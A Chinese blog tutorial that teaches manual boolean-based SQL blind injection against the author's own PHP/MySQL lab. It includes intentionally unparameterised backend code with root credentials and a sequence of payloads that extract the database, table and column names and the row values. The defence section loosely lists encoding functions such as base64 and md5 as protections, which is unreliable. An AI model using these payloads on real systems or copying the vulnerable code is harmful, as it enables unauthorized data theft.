SQL盲注 VS 普通SQL注入:
普通SQL注入 | SQL盲注 |
---|---|
1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 2.一般在页面上直接就会显示执行sql语句的结果 | 1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注) |
根据页面不同的响应方式,SQL盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注。
SQL盲注-测试思路:
1、对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。
2、对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
3、对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
(以上内容借鉴博客:Fighting_001)
这里的靶场模仿dvwa的查询样式,通过查询用户的id入口来进行SQL盲注的手工测试,以下为靶场前端代码:
<!DOCTYPE HTML>
<html>
<body>
<form action="wwww.php" method="post">
姓名:<input type="text" name="name"><br>
电邮:<input type="text" name="email"><br>
<input type="submit">
</form>
</body>
</html>
<html>
<body>
<form action="find.php" method="post">
<br>查询id:<input type="text" name="id"><br>
<input type="submit" value='查询'>
</form>
</body>
</html>
<?php
header('Content-Type:text/html; charset=utf-8;');
$con = new mysqli("127.0.0.1","root","root","php10");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
$con->query("SET NAMES UTF8");
?>
后端代码如下图所示:
<?php
header( 'Content-Type:text/html; charset=utf-8;' );
$id = $_POST['id'];
$con = new mysqli("127.0.0.1","root","root","php10");
if($con->connect_error<>0){
echo "CONNECT ERROR";
echo $db->connect_error;
exit;
}
$con->query("SET NAMES UTF8");
//以下为SQL盲注
$sql="SELECT * FROM learn WHERE id='{$id}'";
$mysql_result = $con->query($sql);
if($mysql_result === false){
echo "SQL ERROR";
exit;
}
$row = $mysql_result->num_rows;
if($row!=0){
echo "EXCIT";
exit;
}
else{
echo "MISSING";
}
因为在初识SQL盲注中简单讲解了靶场如何搭建,这里不做其他说明...
界面如下图所示:
连接的数据库是php10,表名为learn,先看一下事先注册的数据:
(因为之前测试了多组数据,所以主键id不是从1开始...)
输入1和7进行查询,结果正常返回了MISSING和EXCIT,说明靶场搭建成功,接下来进行SQL盲注的手工测试 :
1、首先需要确认是否存在SQL盲注的漏洞(因为代码未对用户输入数据进行任何过滤措施,也没有采用PDO技术进行防护,肯定存在SQL盲注的漏洞,并且已经知道id是从7开始,为节约时间就直接从7开始测试,正式测试的时候需要耐心地一个个输入)
序号 | id取值 | 返回值 |
---|---|---|
1 | 7 | EXIST |
2 | ' | SQL ERROR |
3 | 7 and 1=1 # | EXIST |
4 | 7 and 1=2 # | EXIST |
5 | 7' and 1=1 # | EXIST |
6 | 7' and 1=2 # | MISSING |
由上表可知,输入' 输出SQL ERROR,并且7' and 1=1 #与7' and 1=2 #构造的真假返回结果不同,所以一定存在SQL盲注注入点
2、猜数据库的字符串长度
这里需要认识一个MYSQL的函数:
length( $string ) 输出字符串长度
利用length函数猜数据库的字符串长度,这里可以运用折半算法的思想进行注入:
输入 | 返回值 |
7' and length(database())>10 # | MISSING |
7' and length(database())>5 # | MISSING |
7' and length(database())>2 # | EXIST |
7' and length(database())>3 # | EXIST |
7' and length(database())>4 # | EXIST |
最后输入 7' and length(database())=5 # 返回值也是EXIST
所以数据库名称由5个字符串构成(与事实相符,数据库为php10)
3、猜数据库的字符组成
这个需要认识几个MYSQL函数
substr( string, start, length) 输出指定的字符串,start为字符串开始的位置,length为输出字符串的长度
ascii( char ) 将指定的字符转化为ascll码
这里需要注意的是substr这个函数,可能不同的语言,不同的数据库第一个字符的下标不一样,有的是从0开始,有的是从1开始,最好是在确定好后端所使用的语言后自己写一个脚本来确定:
这里我先写了一个PHP的脚本,使用substr函数发现第一个字符是从0开始,但是实际测试中发现是从1开始
上网查寻后得知:这个与后端语言无关,mysql中的start是从1开始的,而hibernate中的start是从0开始的
开始进行测试(同样可以用折半算法的思想):
输入 | 返回值 |
7' and ascii(substr(database(),1,1))>97 # | EXIST |
7' and ascii(substr(database(),1,1))<122 # | EXIST |
7' and ascii(substr(database(),1,1))>109 # | EXIST |
7' and ascii(substr(database(),1,1))>115 # | MISSING |
7' and ascii(substr(database(),1,1))>112 # | MISSING |
7' and ascii(substr(database(),1,1))=112 # | EXIST |
......
说明数据库名称第一个字符对应的ascll码为112,即字母 p
用相同的方法继续进行注入测试,得出数据库的全名为 ' php10 '
技巧:一般数据库的名称只会由大小写字母以及数字构成,并且一般会是有实际意义的单词,所以在进行注入的时候应当有目的的注入,并且加上一定的合理猜测从而能够快速地得到数据库名。
4、猜数据库的表的个数以及名称
(1)猜表的个数
用到下列语句:
输入 | 返回值 |
7' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # | MISSING |
7' and (select count(table_name) from information_schema.tables where table_schema=database())<5 # | EXSIT |
7' and (select count(table_name) from information_schema.tables where table_schema=database())>2 # | EXSIT |
7' and (select count(table_name) from information_schema.tables where table_schema=database())=3 # | EXSIT |
说明php10中有三个表,与事实相符合
(2)猜数据库php10中第一个表的名称
用到下列SQL语句:
1、
查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2、
列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
3、
以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
4、
计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
5、
将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
7
' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10
即类似于猜数据库名的方法,将组成表名的字符一个一个猜出来,即可得到表的全名
7' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
......
这里省略其中的过程,大致先从字母和数字开始猜测,然后结合实际情况才能迅速得到正确表名
所得数据库php10的第一个表名为 learn
5、猜表的字段数以及字段名
(1)猜表的字段数
用到下列语句:
1、php10库中learn表的字段数目:
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='learn')=xxx
2、判断php10库中learn表是否存在某个字段(调整column_name取值进行尝试匹配)
(select count(*) from information_schema.columns where table_schema=database() and table_name='learn' and column_name='xxx')=1
3、猜解第i+1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
4、猜解第i+1个字段的字符组成,j代表组成字符的位置(从左至右第1/2/...号位)
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
猜测字段数输入(省略猜测过程):
7' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='learn')=3 #
即php10库中的learn表存在三个字段,与事实相符:
(2)猜表中存在的字段名
用到下列语句:
7' and (select count(*) from information_schema.columns where table_schema=database() and table_name='learn' and column_name='xxx')=1 #
需要大胆的猜测字段名称,如在xxx处填:name、username、user_name、password、email等等...
这里就不做一一猜测了,包含的字段名称为:id,name,email
6、猜测字段中的值
因为经过以上操作已经知道了数据库名,表明以及列名,因此可以直接通过SQL语句和相关函数进行暴库的操作
7' and length(substr((select name from learn limit 0,1),1))>10 # 猜name的字段值长度
......
7' and length(substr((select email from learn limit 0,1),1))>10 # 猜email的字段值长度
......
7' and ascii(substr((select name from learn limit 0,1),1,1))=xxx # 猜name字段第一组第一个字符
7' and ascii(substr((select name from learn limit 1,1),1,1))=xxx # 猜name字段第二组第一个字符
......
经过以上六个步骤的操作,能够得到完整的php10库中learn表的完整数据如下:
id | name | |
7 | 1234 | 1234 |
8 | 12345 | 12345 |
9 | 11111 | 11111 |
12 | mm | 222 |
与实际相符:
防御办法 :
同SQL注入漏洞的防御方法类似,永远不要相信用户输入的数据,对用户输入的数据进行过滤;运用预查寻方案将数据与用户操作完全分隔开;使用PDO以及预处理方法(笔者另一篇博客简单的PDO技术以及预处理方法预防SQL注入中有简单介绍)。下面列出PHP中部分过滤以及加密函数:
addslashes( string ) 用反斜线引用字符串
trim( string ) 去除字符串首位的空白字符或其他字符
strip_tags( string ) 从字符串中去除 HTML 和 PHP 标记
stripslashes( string ) 删除由 addslashes() 函数添加的反斜杠
htmlspecialchars( string ) 转换特殊字符为HTML字符编码
str_repalce(" ' "," string ", $str) 替换字符串中的特殊字符
......
md5( )
crypt( )
base64_encode( ) base64_decode( )
urlencode( ) urldecode( )
......
总结:想要进行SQL盲注,就需要按照六个步骤依次进行,大胆猜测,耐心尝试,当然最需要的是扎实的SQL查询语句基础;想要更全面了解SQL注入、盲注漏洞,最好的办法是自己写靶场进行体会(附上SQL注入的相关内容:初识SQL注入)